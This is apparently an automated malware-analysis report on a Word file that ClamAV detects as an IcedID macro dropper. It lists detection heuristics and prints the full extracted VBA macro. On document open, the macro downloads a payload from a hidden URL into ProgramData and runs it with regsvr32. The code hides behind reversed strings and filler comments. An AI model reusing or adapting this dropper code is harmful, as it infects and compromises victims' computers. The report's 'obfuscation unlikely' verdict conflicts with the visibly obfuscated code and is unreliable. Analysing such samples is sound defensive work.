MALICIOUS
290
Risk Score
Heuristics 7
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Set aOodi = CreateObject(BneXN + "." + "shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WAdOm = VBA.CreateObject(buTGd + "" + MYqbn) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12680 bytes |
SHA-256: 36f4a1dd1367d599cc5e2054ff8f44903083a12190efff5816a289e2a029592f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "eGsbY"
Sub sFZdQ(pwPZS, Optional ByVal azYMW As String = "c:\programdata\ELBHZ.txt", Optional ByVal MYqbn As String = "systemobject")
' Male radials extenders
' Lumbered deceiving ringlets colourising participated mbabane
' Carting handcuffing
' Recitative valence
' Unofficially pageful glowered sexiness
' Peevishness sitcoms arbitration idiosyncrasy militiamen
' Alluvial
' Stubborn unwontedly
' Resignations unsweetened
' Industries quays skating ethologists wellrounded
' Scuffing raft
' Weanling desiccated rajah maze
' Thorns discount
' Landmarks expediting precinct
' Tillage verboseness nicks regurgitate philosophic shrews
' Gumboil allele luna dizzier
' Compensator dactyl
' Hiding suffocatingly sinker
' Slayers leaks strategies
' Ungovernable unaccounted depoliticisation
' Disparaged rationalism flirt fluctuate polymorphisms crossword
' Axillary comparably heinous
Set WAdOm = VBA.CreateObject(buTGd + "" + MYqbn)
' Duellist
' Dogdays hexameter
' Squashes
' Fabricates hearth settlers novels texturally
' Expanding showrooms
' Doomsday unconverted clumped selfmade eaters latencies
Set UMdSP = WAdOm.CreateTextFile(azYMW)
' Linkages
' Inhaled preferably capitalised roaches
' Diphthong
' Luckily impersonated
UMdSP.WriteLine pwPZS
' Dissenter pluralisation
' Older zoned sacristy
' Grappling inscriptions inflection
' Leanness deafens overindulgence sneakiest strongminded
UMdSP.Close
' Suspending
' Intents aspects nameplates separated
' Darn flatter streaker crisply
' Slacking reiterating
' Bermuda missives
' Rerolled overgrown
' Pettishly ethologist insomniac unbeaten algorithm
' Mutes comprehended redialling
' Ministration dedicated abscissae hierarch curd
' Badge ranked investigatory bicycled saudi
' Fertilises
' Liaison legibly specials pillowed dumbfounds
' Lunate revoked wright
' Deliverable
' Madrid stadiums escalating
' Wholly beanstalk
' Sullied missy outline amount carriers indaba
' Measly holding naturists faroff
' Wedlock forearm stifling
' Postural numerology
' Talked praying
' Shoeless vinyls
' Seagreen rotator introductory condiment
' Vaulted petticoats imported
' Palmtops distortion
' Differentially rearward twisters
' Retrofit soils poisoned gymnasium
' Contemptible
' Suture peacock nonviolent correctional foot
' Exposed physiologically symptomatic
' Streptomycin smokestack urinary
' Goers privet broadswords
' Gullet electro
' Zenith vat workplaces manhood
' Ebullience theoreticians jolliest bridegrooms eigenvalues hazards
' Sulphonamides
' Bedevil disregarding epidermal respective
' Halfheartedly symbolists insists
End Sub
' Values phospholipids spiky budgeting
' Consigning gemmed eastward flourishes
' Cheering florins
' Longstanding badinage aerial
' Vomited adze stamina firmed pitched kayaks
Sub AutoOpen()
' Adventure soffit yesterday
' Eta treason stereotypically
' Objection trapped
' Hoteliers headlights guesting manhandling constructable
' French beggar slimline
' Slingshot fedup commencement anacondas
' Charmed occupier
' Metaphysically scaly rig reset
' Industriously tenet commendably update erudition
' Augments amongst
' Irregularly pariah caricatures silence severity
' Handkerchiefs
' Almonds slack produced imprisonments achievement intimidated
' Gatehouse firemen blabbed
' Disaffected
' Mailings liquefaction
' Vaporous clique
' Antiseptics coopers hobbled capers
' Pugilistic generalising
' Imprisonment secularist discouraged rapid pitchdark
' Began packs sparring
' Conjugated momentary sadist interposes
' Dispatcher spelling screaming
Dim rKLqP As New Jugmd
' Finery bombarded jets
' Plaited hedonistic needy
' Doityourself debones welltodo digits uppers
' Vagrant energy seaport counterpointed nutritional
' Twisters puffiness
' Thirst unquantified coaxed
dMgYd = ""
' Resistor relieving
' Bogies
' Bipolar attune lathes
' Impairment injokes phenol wrinkling
' Journals muffin endorsed beefiest
' Frost procrastinating bedrooms hers
' Salutation burglar carbines recanted ironwork
' Wok herself finance
pwPZS = rKLqP.ENENb(wWFZA)
' Snowdrift compromising rattler
' Firmer
' Unassertive
' Discreditable querying greensward glows tracings
' Loveless videotapes definitely quotable
sFZdQ NBbnF(pwPZS)
' Depositories slopping mistreating
' Rehabilitated minion friend
' Lithologies
' Slavs lorries dynamic
' Blameless swimsuits searchlight immaturely enmeshed
' Reissuing
' Organisational unpunctual posers steward
' Updater poached
' Manoeuvres counterfoils
' Totality revising redecorated recanted
' Tollgate impugn shifts logics
lSGdZ mYpVW(0) + "vr32 c:\programdata\ELBHZ.txt", "wscript"
End Sub
Function jFmMJ(ENODL, mcVDF)
' Charms aerodromes sniffle
' Basrelief militates shadowless underplays
' Republicanism torsional bib
' Hectoring bootees hauntingly pedlars splutters
jFmMJ = Split(ENODL, mcVDF)
End Function
Attribute VB_Name = "kyRrv"
' Viceroys sweeter dealt mothering curve carrying delimits
' Elasticated political parachuting
' Title invincible outcomes
' Tarmacadam snuffs chips
' Subway mandarins
' Splinters
Function NBbnF(mLZAC)
' Hollowly instructors cosmical
' Shoelaces deodorised pediments oxalate preferentially
' Stepfather
' Kindhearted lichened slights
' Ghoul slouch abductions trisecting
NBbnF = StrConv(mLZAC, vbUnicode)
' Gamblers representatives
' Beckon secularised ameliorating jetlagged
' Fourfold unzipping cleavage
' Picnics electrically panellists
End Function
' Confrontational larking
' Sinking assassinate gunsmiths compacting factored picturing
' Individualists conned probation athlete
' Transacted goodbye agriculturalist metaphoric
' Novices devotedly towered fractious
' Mineral shanks butterflies oilier
Function yuSPs()
' Weeklies reprogramming covalently
' Extracted swimmingly
' Subcutaneously regina
' Mortality asceticism quatrain revoke impending inconvenience
' Bucking jerseys
' Noting raid
' Preliminarily
' Life recount stockist
' Elongate
With ActiveDocument.shapes(1)
yuSPs = .AlternativeText
End With
End Function
' Ascertained snowflakes calibrating spurns
' Devastation burbling xenon battlefield pedal
' Mark tinsel eulogies installations
' Cuneiform exaggeratedly heartache
' Netting
Function mYpVW(nJgyh)
' Calibrations punctually plateaus sardines
' Saleability liquefaction
' Coprophagous animators
' Daylong fitter wimple
' Moccasins protrusions cretan valedictory
' Fruitier subservient interrelation coups
' Categorical disinfected blotched
' Palsy
' Uncharacteristic lithium converge twosome
' Hurdler abseiled murderess misquotes
' Oppressiveness
' Clearances megalomania posit letters loiterers
' Attend
' Censoriousness whimpers messengers
' Perspicuity powerboats
GNWyQ = jFmMJ(yuSPs(), "~~~")
cdVbd = GNWyQ(nJgyh)
mYpVW = cdVbd
End Function
Attribute VB_Name = "Jugmd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function phPgS(ecnQu, HYrZy, HHNgN)
' Skulks blackest hysterical
' Objector bulged canadian inadequate
' Quivered
' Catheters crackpot predicating notwithstanding
phPgS = Mid(ecnQu, HYrZy, HHNgN)
End Function
Public Function uHEFq(uCWFR, BXITF)
' Undrinkable pollinate
' Disapproves roofer
' Luxuriance laager defeater jukeboxes reveries lull
' Spectrum geostationary incorporation discussable kingsized bypassed
' Paints flyways
' Nationalised pet defenders
' Sketching disposals pestilential pompeii placatory
' Quoter derisively unergonomic executor
' Pieces combativeness
' Spectaculars superstates sneering
' Contras
' Recant hasp
' Renaissance colloquium
' Motorcycling
' Resilient trims
ReRKm = Trim(uCWFR)
For eJlTt = BXITF To Len(ReRKm)
TnkLJ = phPgS(ReRKm, eJlTt, BXITF) & TnkLJ
Next eJlTt
uHEFq = TnkLJ
End Function
' Conceding genome desecration asthmatic
' Jostles allowing wonder mossier
' Urgency bipartisan
' Progenitors preponderance sainthood
' Quizzical
' Dollar daydreaming competitions
Function ENENb(lBLJt)
' Gyrations copyable inflammation regard
' Gazelle nutriment proprietorship potency
' Censures refund headcount
' Ceiling
' Deprecation dumped
' Unrepentantly drum fecundity brownest
Dim vSUdV As Object
' Transcriber
' Gestures heifer frightens implores
' Does portcullises
' Infringement diarrhea keystones
' Unrolled second avenue jumpiness
' Patrol banter messy inculcated
' Rosters soundproof enjoyed dissipation deltoid mermaid
' Taper rejoining favourite jubilees enmity
' Scrawniest conveyed
' Creativity spaded warbling bedevil
' Statuses condescendingly octave
Set vSUdV = CreateObject(uHEFq(lBLJt, 1) + "." + uHEFq(lBLJt, 1) + "Request.5.1")
' Dawning lulls fallen deeper
' Playmate algorithms virginal millinery
' Myopic
' Scarcities chantries
' Strident reassembling tailorable
' Crackly
' Dislocate indirectly
' Fishhooks
' Obligate amidst
' Apologist theorists judder unrehearsed
' Dabbling songbirds lesbianism commander
' Gas
' Infuriated inconsistently moonlit
' Diligence serenading topically
' Centric bisects
' Naivete querulously
' Spectre toy december
' Noticeably lumbers ferric embellished
' Kinswoman dynamical selfportraits asymmetrical
' Locale
' Heliosphere unconfirmed exerts
' Vivaciously istanbul wales
' Initiators catnap
hjwMW = mYpVW(1)
' Unearthed merino
' Fiestas litotes metalworking
' Shushed dangle apiary optimisation trounces dilapidation
' Figural dual sullying
' Jollity tinkers mutilated
vSUdV.Open "GET", uHEFq(hjwMW, 1), False
' Aura froze
' Bushier spyhole juxtaposing
' Accordion
' Paradoxically enamoured treats communes
vSUdV.Send
' Mantra stunt
' Defragmentation sotho magnolias rotatable
' Electricity inactivated baptising gossamer separable delible lumpen
' Dainty
ENENb = vSUdV.responsebody
End Function
Attribute VB_Name = "muWBA"
Public Const wWFZA As String = "ptthniw"
Public Const buTGd As String = "scripting.file"
Sub lSGdZ(uPcCr, BneXN)
' Mingling empathise winningly
' Flypast
' Resourcefulness acquainted
' Uprating merchantable
' Afterglow longitudinally interactiveness
' Rissoles letting
' Ajar bidden prohibitive
Set aOodi = CreateObject(BneXN + "." + "shell")
' Panjandrum hyphen palms nonconformist colas correspondent
' Fulminant hoards acrimoniously militarism
' Obscurantism unruly tattooing tackles
' Inopportune populism featuring connectedness mugger broomsticks glassy
' Rinse transonic reconstituting tracings catechisms strangers
' Congestive peeped
' Colloquial baling friendlessness spoofs anglican
' Softer
' Cooperative consumables untutored
' Apothecary digester songwriter
' Pippin
' Deflation
' Deacon perpetual taxonomy cajoled
' Ratifying superstars
' Gowns underhand
' Roebuck chewy sandwiches sleepless
' Fertilises duets slavers feelers
' Fornicating flusher ineptness concentrators
' Concussion purple quark motet imposter
' Award mock processional expands ablative subhuman
' Pertinacious
' Coped juiciness solstice erotically truants
' Cops disenfranchise prospectuses waiver
' Saddened liberalising venturesome
' Spreaders antiviral technical evacuations gloomily eased
' Swarthy metalworking unaccountability synthesis relearning
' Finals remodel
' Thee treasons bisexuality downgrading
' Zoom joiners coquettishly sore
' Underestimation dilate thirties quadruple
' Syncopated exterminating
' Sponge snoozing modernists arguer outfoxed dispatch
' Swingy hygienists strychnine rasping levying
' Captures hooves abloom inquires ideologist
' Pouter conquered dear petticoats insulated
' Vicissitude steamrollers hankering
' Suburb
' Hits patrons cardiff
' Seminary endotoxin bedbug unpolished einstein
' Soundtracks legislatures waster
' Publishing affairs
' Baritones
' Unmarked forbidden snuffs
' Balconies alternation imbecilic
' Extol overshadows specificity
Call aOodi.exec(uPcCr)
' Liberated assume
' Concurrent valency
' Italic gearing light shellac
' Petroleum remaking hydrangea aged ram
' Climax warden cytological disrepute
' Tracking crooners
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 46592 bytes |
SHA-256: 251fba45a3123ada6893a1d3927c3730706663cc07953341a2cbd0271894e267 |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.